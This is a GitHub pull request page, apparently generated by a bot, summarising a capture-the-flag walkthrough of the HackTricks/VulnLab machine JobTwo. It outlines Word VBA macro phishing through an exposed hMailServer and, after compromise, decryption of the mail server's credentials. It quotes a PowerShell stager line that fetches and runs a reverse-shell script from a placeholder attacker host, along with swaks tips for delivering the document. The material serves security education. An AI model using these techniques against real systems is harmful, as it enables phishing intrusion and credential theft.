HTB/VulnLab JobTwo Word VBA macro phishing via SMTP β hMailS... #1816
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
π€ Automated Content Update
This PR was automatically generated by the HackTricks News Bot based on a technical blog post.
π Source Information
π― Content Summary
Title / Context
Technical walkthrough for the HTB/VulnLab Windows machine JobTwo (Hard). The end-to-end attack chain described by the author is:
1) Initial access by phishing a malicious Microsoft Word document (VBA macro) to an exposed SMTP service (hMailServer) and catching a PowerShell reverse shell.
2) From the initial shell as
job2\julian, identify hMailServer and decrypt its stored mail-database credentials using a known...π§ Technical Details
A realistic initial-access technique is to abuse an exposed SMTP server and a business workflow (e.g., HR resume intake) by emailing a Word document containing a VBA
AutoOpenmacro. The macro can executeShellto launch PowerShell with-ep bypassand use an in-memory stager such asiex(iwr http://ATTACKER/shell.ps1 -usebasicparsing), whereshell.ps1is hosted on an attacker-controlled web server and returns a reverse shell payload.When using
swaksfor delivery, ensure the attachment is the file contents by using--attach @file.doc(the@causes the local shell to pass the bytes of the document rather than the literal filename), enabling reliable SMTP delivery of the malicious document.If a Windows host runs hMailServer, a post-compromise credential-recovery pattern is to locate the configuration/registry where the mail database password is stored encrypted ...
π€ Agent Actions
Updated HackTricks with new techniques from the JobTwo blog:
This PR was automatically created by the HackTricks Feed Bot. Please review the changes carefully before merging.